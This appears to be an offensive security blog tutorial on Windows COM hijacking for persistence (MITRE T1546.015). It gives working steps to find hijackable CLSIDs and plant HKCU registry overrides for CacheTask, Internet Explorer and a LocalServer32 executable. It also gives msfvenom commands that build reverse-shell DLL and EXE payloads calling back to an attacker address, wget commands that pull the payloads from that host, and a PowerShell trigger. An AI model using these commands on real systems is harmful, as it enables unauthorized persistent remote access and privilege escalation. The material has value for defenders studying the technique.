Introduction
According to MITRE, “Adversaries can use the COM system to insert malicious code that can be
executed in place of legitimate software through hijacking the COM references
and relationships as a means for persistence.” To hijack a COM object, an
attacker needs to make certain changes in registry hives and replace the
reference to a legitimate system component with a malicious one. When that
application is run and the COM object called, the malware is run instead,
hence, giving persistence.
In this article, we will cover the
methodology for COM hijacking.
MITRE TACTIC: Persistence (TA0003), Privilege
Escalation (TA0004)
MITRE TECHNIQUE ID: T1546 (Event Triggered
Execution)
SUBTITLE: T1546.015
Table of Content
·
Background
·
Attack Methodology
·
Discover Hijackable Keys
·
InProcServer32: CacheTask (Physical
Access to Machine)
·
InProcServer32: CacheTask (Remote
Access to Machine)
·
InProcServer32: Internet Explorer
(Remote Access)
·
LocalServer32: Remote Access to
Machine
·
Conclusion
Background
According
to Microsoft, “The Microsoft Component Object Model (COM) is a
platform-independent, distributed, object-oriented system for creating binary
software components that can interact. COM is the foundation technology for
Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as
well as others.
It
is not a programming language but a standard that is only applicable to code
that has been compiled to binary. Programming languages like C++ provide simple
mechanisms to play with COM objects. C, Java implement COM too.”
A
COM object is one in which access to an object’s data is achieved exclusively
through one or more sets of related functions. These function sets are called
interfaces, and the functions of an interface are called methods. Further, COM
requires that the only way to gain access to the methods of an interface is through
a pointer to the interface. In other words, COM enables a binary to interact
with other software objects or executables by implementing objects which can
call DLLs and EXEs.
DCOM (Distributed COM) is
middleware that extends the functionality of COM beyond a local computer using
remote procedure call (RPC) technology. By default, only Administrators may
remotely activate and launch COM objects through DCOM. DCOM can execute macros
in Office documents and also interact with WMI remotely thus opening the
attacked domain to a wide array of vectors.
Please
note that this attack works on a domain-joined system. DCOM remoting is not
available across networks by default. To enable DCOM remoting in a non-domain
joined system, some magical code is required which is not in the scope of this
article.
Registries: The registry is
a system-defined database in which applications and system components store and
retrieve configuration data. The data stored in the registry varies according
to the version of Microsoft Windows. Applications use the registry API to
retrieve, modify, or delete registry data. More info here.
CLSID: The CLSID or Class Identifier is a
string of alphanumeric (both numbers and alphabet characters) symbols that are
used to represent a specific instance of a Component Object Model or COM-based
program. It allows operating systems and software, particularly for Windows, to
detect and access software components without identifying them by their names.
More info here.
Attack Methodology
Basically, any application which
is triggering an EXE/DLL or some other library, first reads the HKCU
(HKEY_CURRENT_USER) value and then HKLM (HKEY_LOCAL_MACHINE). So, if a
hijackable key is found, we will create a corresponding CLSID in the HKCU hive
and thus, the application will trigger the HKCU hive first (therefore,
executing our code instead of legit code).
To perform the attack, we have to
follow these steps:
·
Find hijackable keys in registry.
COM servers that have missing CLSIDs and don’t require elevated privileges
(belonging to HKEY_CURRENT_USER category)
·
Add a corresponding CLSID and
strings referring to the application that had missing CLSIDs
·
Create a malicious file
·
Prompt the user to run the
application which is supposed to trigger the COM event and run malicious file.
Discover Hijackable Keys
Part 1
To discover hijackable keys, we
would require process monitor. We need to put these 4 filters:
·
Operation is RegOpenKey Include
·
Result is NAME NOT FOUND Include
·
Path ends with InprocServer32/LocalServer32
Include
·
Path begins with HKLM Exclude
Now you’d have an output of all
the probably hijackable keys.
We can export this result and
save it as “Logfile.CSV”. nccgroup developed a script called acCOMplice which can take in this CSV as input and give out all the
keys that can be hijacked. Here, we are viewing InprocServer32 hijackable keys.
We can download and use it like:
Import-Module
.\COMHijackToolkit.ps1
Extract-HijackableKeysFromProcmonCSV -CSVfile .\Logfile.CSV
Another function in the same
script will fetch the related CLSIDs and the missing DLL files/libraries.
These are all the DLLs that are
missing from the disk. So, if we just upload our malicious DLL onto one of
these paths and rename it as the DLL mentioned.
Part 2
Enigma0x3 developed a script called
Get-ScheduledTaskComHandler.ps1 which can Discover all the vulnerable COM Keys of all
the scheduled tasks on the machine that execute on user logon. To do this, we
just download it and run it like:
Import-Module
.\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler
The script also has a great added
module which can automatically identify scheduled tasks vulnerable to COM
Hijacking which can give persistence on the system.
Get-ScheduledTaskComHandler
-PersistenceLocations
Let’s pick a task called cache
task which uses wininet.dll upon first time logon.
By default all the tasks are
configured in the folder %sysroot%\Tasks. The configuration file of this task
is available at the location:
C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask which can be read using schtasks
schtasks /query /XML /TN
“\Microsoft\Windows\Wininet\CacheTask”
Here, we now have the CLSID of the
COM object which calls wininet.dll. We can open the registry hives and confirm
if this COM object is calling wininet.dll
Now that we have identified a
target, let’s use this COM object to conduct hijacking.
InProcServer32: CacheTask (Physical Access to
Machine)
InProcServer32: InProcServer32 key represents a path to a dynamic link
library (DLL) implementation. Often used to represent DLL which is supposed to
be run by a process.
In the enumeration above, we
found out a COM object vulnerable to hijacking. This registry exists in HKLM.
As per the methodology, we need to create this same CLSID in HKCU
(HKEY_CURRENT_USER) hive.
So, we open the registry hive and
create this key
HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\
Then we create one other key
named:
{0358b920-0ac7-461f-98f4-58e32cd89148}
Again, right click on this key
and add a new sub key:
InProcServer32
Then under this, we create two
strings, one with value: C:\users\Public\shell.dll and other with name “ThreadingModel”
and value “Both”
Now, the path we just added doesn’t contain
shell.dll. This is the code that will be executed when user logs in. Let’s
create an msfvenom DLL shell and upload it onto the victim system.
msfvenom -p
windows/x64/shell_reverse_tcp EXITFUNC=thread lhost=192.168.1.4 lport=1337 -f
dll > shell.dll
Now, upon restart and first logon
by the user, we will receive a reverse shell like so:
InProcServer32: CacheTask (Remote Access to Machine)
What we just did above can be
done remotely as well. First, we need access to the victim’s powershell (which
can be obtained by using Nishang) and then we will use the following code
provided by bohops.com found here. To find COM keys vulnerable to hijacking which include
InProcServer32 keys we do:
$inproc = gwmi Win32_COMSetting |
?{ $_.InprocServer32 -ne $null }
$paths = $inproc | ForEach
{$_.InprocServer32}
foreach ($p in $paths){$p;cmd /c
dir $p > $null}
Similarly, these results can be
stored in a text files using the code:
$inproc = gwmi Win32_COMSetting |
?{ $_.InprocServer32 -ne $null }
$inproc | ForEach
{$_.InprocServer32} > ignite.txt
In the enumeration and
exploitation example above, we used CacheTask and overridden the wininet.dll by
shell.dll
Upon searching wininet.dll in
this text file, we see that it exists
We can view CacheTask’s
configuration file like so:
cd
C:\Windows\System32\Tasks\Microsoft\Windows\Wininet
type CacheTask
Now, we have obtained a CLSID.
This exists in HKLM hive. We need to create this in HKCU which can be done
using “reg add” command. And then, we can confirm if its got added using reg
query. Finally, to check if it works, we can restart it and wait for a user to
logon
REG ADD
HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32
/t REG_SZ /d C:\Users\Public\shell.dll
REG ADD
HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32
/t REG_SZ /v ThreadingModel /d Both
REG QUERY
HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32
shutdown -r
Now, when the system restarts and
user Harshit logs in again, we will have a reverse shell confirming persistence
has been achieved.
InProcServer32: Internet Explorer (Remote Access)
GDATA provided this method of
persistence in post here. Internet Explorer is widely used in corporate even
today. Upon reading its documentation, it was observed that IE uses the
following DLL: api-ms-win-downlevel-1×64-l1-1-0._dl
IE’s CLSID exists in: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
This DLL doesn’t exist by default
in the system, so, to do COM hijacking, we will create the following folder and
add this DLL in here.
C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
Now, to execute this attack, we need
to override the IE CLSID by referring that CLSID in HKCU hive as we did in the
example above.
First, let’s create a new
malicious DLL file and name it as “api-ms-win-downlevel-1×64-l1-1-0._dl”
Now, we create the folder: C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
cd
c:\users\harshit\appdata\roaming\microsoft
mkdir installer
cd installer
mkdir {BCDE0395-E52F-467C-8E3D-C4579291692E}
cd {BCDE0395-E52F-467C-8E3D-C4579291692E}
powershell wget 192.168.1.4/ api-ms-win-downlevel-1×64-l1-1-0._dl
-O api-ms-win-downlevel-1×64-l1-1-0._dl
Now, we will add the IE CLSID
reference in HKCU.
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32
/t REG_SZ /d
C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32
/t REG_SZ /v ThreadingModel /d Apartment
Once the COM hijacking has been
done, as soon as IE launches, we will receive a reverse shell!
LocalServer32: Remote Access to Machine
The LocalServer32 key represents
a path to an executable (exe) implementation of a process, meaning that when an
application is run, it refers the COM keys and executes an EXE file.
To find all the hijackable
localserver32 COM keys, following procmon filters can be used:
·
Operation is RegOpenKey Include
·
Result is NAME NOT FOUND Include
·
Path ends with LocalServer32
Include
·
Path begins with HKLM Exclude
But since, we are using remote
machine, following code can be used. The output result contains all the files
that contain an empty reference to a file that doesn’t exist on drive. As we
can see, an interesting file has appeared. This file is called igniteserver.exe
and refers a World writable directory (/Users/Public). Means that an attacker
can put his own malicious file on this directory with the name igniteserver.exe.
$inproc = gwmi Win32_COMSetting |
?{ $_.LocalServer32 -ne $null }
$inproc | ForEach
{$_.LocalServer32} > ignite.txt
type ignite.txt
We can manually inspect other
files too to see which files are vulnerable to COM hijacking and use SMB to
copy malicious files with same names on the directories.
Now, we need to obtain the CLSID
of this exe. This can be obtained using reg query command:
reg query HKEY_CLASSES_ROOT\CLSID
/s /f igniteserver
We have obtained the CLSID
reference of this COM object which is 05EAE363-122A-445A-97B6-3DE890E786F8.
This can be confirmed in regedit.
Now, we need to create an EXE
with name igniteserver.exe
msfvenom -p
windows/x64/shell_reverse_tcp lhost=192.168.1.4 lport=1337 -f exe >
igniteserver.exe
Now we need to transfer it to the
desired location (C:\Users\Public)
wget 192.168.1.4/igniteserver.exe
-O igniteserver.exe
Whenever an application will activate
the COM object using this command, we will get persistence. If the application
is run as admin we might escalate our privileges as well!
Now, the application which
activates this COM object is using the create instance command in the
respective programming language. We are just simulating the same using
Powershell like so:
[activator]::CreateInstance([type]::GetTypeFromCLSID("{05EAE363-122A-445A-97B6-3DE890E786F8}"))
As soon as the application
creates this instance and runs the COM key reference, we get our reverse shell!
Conclusion
In the article, we saw
demonstration of how we can use hijackable COM keys (that miss references to
libraries) to gain persistence. We saw two methods InProcServer32 and
LocalServer32 that are used by applications to run libraries in a process.
Since the execution of these libraries are automated, replacing them with our
malicious file would mean automated execution of our code as soon as the
related application starts. In InProcServer32 method, we create another
reference to the same COM key existing in HKLM, in HKCU and override the
execution. On the other hand, in LocalServer32 method, we replace an EXE
reference with our malicious one. Hope you liked the article. Thanks for
reading.
0 comments:
Post a Comment